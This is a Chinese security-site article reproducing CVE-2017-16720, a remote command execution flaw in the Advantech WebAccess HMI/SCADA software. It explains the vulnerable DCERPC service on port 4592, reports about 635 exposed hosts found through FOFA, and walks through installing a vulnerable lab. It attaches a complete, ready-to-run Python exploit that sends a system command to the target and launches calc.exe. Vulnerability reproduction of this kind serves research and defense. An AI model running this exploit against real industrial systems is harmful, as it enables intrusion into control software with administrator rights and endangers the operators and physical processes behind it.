"/>
·设为首页收藏本站📧邮箱修改🎁免费下载专区💎积分✅卡密📒收藏夹👽聊天室
DZ插件网 门户 网站安全 查看内容

【工控安全】CVE-2017-16720-AdvantechWebAccess远程命令执行漏洞复现

2022-5-23 18:02| 发布者: admin| 查看: 536| 评论: 0|原作者: 白帽子

摘要: 了解工控安全与CVE-2017-16720漏洞,以及如何复现AdvantechWebAccess远程命令执行漏洞的相关信息。

漏洞编号

CVE-2017-16720

漏洞说明

研华WebAccess是全世界第一套全浏览器架构的HMI/SCADA组态软件,可以无缝整合研华工业自动化事业群的产品,主要分为智能基础建设与智能制造两大类,这两类产品也同时组成了研华在智能自动化的物联网架构,而研华WebAccess正是这个物联网架构的核心。

此漏洞允许攻击者使用RPC协议通过TCP端口4592执行远程命令。

通过利用恶意分布式计算环境/远程过程调用(DCERPC),webvrpcs.exe服务将命令行指令传递给主机, webvrpcs.exe服务以管理员访问权限运行。版本小于8.3、8.3.1、8.3.2仍然存在特定的安全漏洞。

影响范围

在FOFA中搜索app="Advantech-WebAccess"词条,共检索出635条结果(不排除已修复的系统)。

漏洞复现

通过官方渠道,下载存在该漏洞的版本程序

http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe

安装环境:Windows Server 2008 R2 x64

安装一律默认NEXT即可,TCP端口也无需自定义,默认程序端口4592。

安装完成后重启计算机,查看本机开放端口情况。

可以看到端口4592已经正常开放。

使用CVE-2017-16720的EXP脚本,对搭载Advantech WebAccess 8.2-2017.08.18程序的服务器进行攻击。

如果漏洞攻击成功,利用EXP脚本发送系统命令执行指令到服务器上,服务器会执行对应指令,弹出计算器。



可以看到服务器弹出了计算器,证明漏洞利用成功!

附件

CVE-2017-16720-EXP.py

#!/usr/bin/python2.7

import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):
dce.call(opcode, stubdata)
res = -1
try:
res = dce.recv()
except Exception, e:
print "Exception encountered..." + str(e)
sys.exit(1)
return res

if len(sys.argv) != 2:
print "Provide only host arg"
sys.exit(1)

port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

dce = trans.get_dce_rpc()
dce.connect()

print "Binding..."
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print "...1"
stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
call(dce, 2, stubdata)

print "...2"
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print "Something went wrong"
sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
print "Received unexpected length value"
sys.exit(1)

print "...3"
# ioctl 0x2711
stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
command = "..\\..\\windows\\system32\\calc.exe"
fmt = "<" + str(0x204) + "s"
stubdata += struct.pack(fmt, command)
call(dce, 1, stubdata)

print "\nDid it work?"

dce.disconnect()


上一篇:公布WordPress百科和WordPress维护基础设施构建方案.
下一篇:还可以发表文章啊

鲜花

握手

雷人

路过

鸡蛋

评论

您需要登录后才可以发表言论 登录立即注册
创宇盾启航版免费网站防御网站加速服务
投诉/建议联系

discuzaddons@vip.qq.com

未经授权禁止转载,复制和建立镜像,
如有违反,按照公告处理!!!
  • 联系QQ客服
  • 添加微信客服

联系DZ插件网微信客服|最近更新|Archiver|手机版|小黑屋|DZ插件网! ( 鄂ICP备20010621号-1 )|网站地图 知道创宇云防御

您的IP:3.145.108.43,GMT+8, 2024-11-22 19:28 , Processed in 0.161533 second(s), 44 queries , Gzip On, Redis On.

Powered by Discuz! X5.0 Licensed

© 2001-2024 Discuz! Team.

关灯
扫一扫添加微信客服
QQ客服返回顶部
返回顶部